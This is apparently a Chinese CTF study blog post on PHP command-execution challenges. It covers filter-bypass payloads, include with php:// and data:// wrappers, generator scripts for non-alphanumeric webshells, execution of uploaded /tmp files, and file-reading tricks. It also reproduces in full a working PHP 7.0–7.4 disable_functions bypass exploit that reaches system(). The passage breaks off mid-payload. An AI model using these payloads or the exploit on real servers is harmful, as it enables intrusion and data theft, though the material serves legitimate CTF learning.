命令执行

前言

每天抽空学一点,整理一点,命令执行考察的姿势还挺多的,对见到的不同类型做一个整理,同时也对CTFshow命令执行的题做一个记录。

会持续更新~~

命令执行用到的函数

一般在PHP语言里面,涉及到eval()函数,并且参数可控,可以考虑命令执行。

执行系统命令的函数:

1
2
3
4
5
6
7
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

其中 反引号 ` 等效于 shell_exec

其中system()函数的执行结果有回显,其他需要 echo 来打印出来。

等效替换

过滤了空格 –可用%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、 进行替换

过滤了cat –可用tac、more、less、head、tail、nl、sed、sort、uniq、rev 进行替换

过滤了要获取的关键词,比如flag.php 可以用 ?、*、''来代替。eg:fla?.???,fla*,fla''g.php 来绕过

linux 语法过滤了分号,可以用 %0a 来绕过(相当于回车)

PHP语法过滤了分号 可用 ?>来绕过

利用反斜杠 比如对cat进行限制 我们可以用 ca\t 绕过 ,过滤了 flag , php 我们用 fl\ag.p\hp 绕过

利用include函数+伪协议

include + php://filter

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

过滤了system,反引号,单引号和双引号,但是include函数包含一个变量,不需要引号和括号,我们结合伪协议来读文件:

payload: get:?c=include$_POST[1]?> POST: 1=php://filter/read=convert.base64-encode/resource=flag.php 可以读出

注:include和$_POST之间没有空格

关于这个题目一开始有一个误区:

我一开始想的是直接传?c=$_POST[1] 然后post 1=system('ls'); ,但是eval函数只能执行一层,也就是接受完c参数,即为eval($_POST[1]) 此时再传入参数是无效的。而一开始我们传?c=include$_POST[1],经过eval函数就变为include$_POST[1]

然后再传参过去,是有效的,这个时候参数是传到include那里了。

include + data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
?>

这里利用payload:

?c=data:text/plain,<?php system('ls');?> 即可命令执行

这里还可以变一下,编码来绕过一些过滤:?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 来执行命令

session_id 包含

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了数字和一些符号,没有过滤字母。并且仔细看会发现,这里过滤了中文括号而不是英文的,细节,所以很多函数可以用。这里是利用 session_id来包含,改一下cookie的PHPSESSID的值,比如改成 ls,然后payload ?c=session_start();system(session_id); 可以得到回显:

111.png

然后接着可以用类似的思路去读flag.php的值,即?c=session_start();show_source(session_id()); PHPSESSID=flag.php 发现读不出来,因为PHPSESSID的值有限制,5.5 -7.1.9 版本的PHP 没有限制,但是其他版本,只能为 a-z,A-Z,0-9,- ,所以这个思路在此题不可用,但是可以用在其他环境下面。

读文件+数组改造

还是解上面那道题

payload: highlight_file(next(array_reverse(scandir(pos(localeconv())))));

函数介绍:

1
2
3
4
localeconv()函数:返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos()函数:返回数组中当前元素的值
array_reverse():数组逆序
next():内部指针指向数组下一个元素并返回

print_r(scandir(pos(localeconv()))); 可以看到当前目录下文件为:

112.png

逆序一下然后next一下就可以返回flag.php的内容

无字母数字马构造

异或、取反、或、自增脚本整理

或运算构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

过滤了数字和字母,并且异或取反符号都过滤了,但是给我们留了一下或运算符号,即 | ,这里参考了羽师傅的或运算构造脚本

脚本1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);

这个脚本的目的是从或运算得到的字符中排除已过滤的,然后再判断是不是不可见的,最后形成一个字典 or_rce.txt

然后就是一个python的运行生成shell的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

运行实例:

114.png

就可以生成payload,因为题目里面有echo函数 ,所以这里不用system() ,用 shell_exec()替代一下就行了,system()本身是会有输出,而其他命令执行函数没有。

用原始路径+通配符绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

这里采用.*的通配模式,导致很多东西用不了,但是这里我们可以用命令的路径+?通配符来绕过

payload:/bin/ca?${IFS}f???????

.结合/tmp下临时文件 来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

这个题过滤了大小写字母,一开始我想的是用异或来构造马,但是这里不是eval()函数,而是system()函数,所以不能这样做。然后思路就断了,后来看了P神的一篇文章,豁然开朗。文章链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

几个关键的地方:

1.没有过滤 . ,可以用 . + 文件,来执行文件里面的命令,并且即使没有执行权限x,也可以,所以我们可以把我们命令写入文件,且上传。

2.PHP文件上传临时文件会存储在/tmp目录下,并且是 /tmp/phpXXXXXX ,这里最后一个字母可能是大写(一次不行多试几次),并且通配符支持匹配的语法。所以我们可以用[ @-[ ],来匹配大写字母。

构造文件上传的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://effa0bff-f0e6-42b2-8c5e-b8f1d07d0484.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包修改:

111.png

可以看到成功执行命令,接着cat

113.png

选择其它非禁用函数

有时候会遇到一些函数被禁用了,也就是disabled_function,这里我们讨论如何利用其它函数来读或者达到我们想要的效果,注意这里不是绕过disabled_function,而是使用其它函数,关于绕过后面会有总结。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

一开始传phpinfo(); 直接告诉我被disabled_function 了,那就用其它函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//读取flag.php内容,注意路径,这里以flag.php文件在当前目录为例子
readfile('flag.php')
print_r(file('flag.php'));
var_dump(file('flag.php'));
echo file_get_contents('flag.php');
$a=fopen("flag.php","r");echo fpassthru($a);
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3后弃用
show_source("flag.php");
highlight_file("flag.php");
//查找目录下文件的函数
opendir()
scandir()
?c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };highlight_file("/flag.txt");
//利用替换思想
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
函数执行完后,我们再去访问 url/flag.txt 即可直接读取flag。
//包含思想 (针对txt文件有效
include("/flag.txt");
require("/flag.txt");

关于缓冲区:

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

关于 ob_end_clean()函数,功能是清空缓冲区并关闭输出缓冲.

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),本地测试一下:

111.png

会发现没有输出,注释掉 ob_end_clean()函数,正常输出.

所以这里主要是想办法绕过,很简单,用exit();直接结束后面的执行即可

payload: c=include('/flag.txt');exit();

绕过disabled_function

很多时候,比如文件上传了一个马,但是却很多功能执行不了,这个时候,可以考虑绕过disabled_function

利用exploit github上的一个jio本https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("ls /");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

此版本适用于:

7.0 7.1 7.2 all

7.3 <7.3.15

7.4<7.4.3

利用mysql load_file()

1
2
3
4
5
6
7
8
9
10
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) { //flag36d.txt
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}

利用PHP FFI扩展

要求PHP版本在7.4以上,并开启了该扩展。

关于FFI 的介绍

https://www.php.cn/php-weizijiaocheng-415807.html

1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt'; //需要执行的命令
$ffi->system($a); //执行

大写+部分字符来构造

之前月饼杯的时候出现过一题,命令执行,过滤了小写和部分字符,但给我们留下了一些可用的。

前置知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
${变量名:0:1}  //获取变量的第一个字符
$PATH -> /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
eg:
${PATH:0:1} -> / 即第一位往后数1
${PATH:5:1} -> l 即第五位往后数1
${PATH:5:1}${PATH:2:1} -> ls
${变量名::1} 默认为0 等效于 ${变量名:0:1}
${变量名#???} 截取变量右边的值 -> 三问号代表从第三位开始:r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
${变量名%???} 截取变量左边的值 -> 三问号代表从倒数第三位开始:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/
${#变量名} 获取变量的长度
${#_} 获取上一条命令的长度,利用这个可以构造任意长度
eg:
AAASS;${#_} -> 5
${#x} 变量x没定义 所以返回为0
echo $OPTIND // 1
${#SHLVL} -> 获取1
echo $TERM // xtrem
${变量名:~大写字母} //获取变量最后一位
eg: ${PATH:~A} -> n
$? // 上一条命令执行成功返回0,失败返回非0

几个payload分析:

`${PATH:~A}${PATH:$:$:$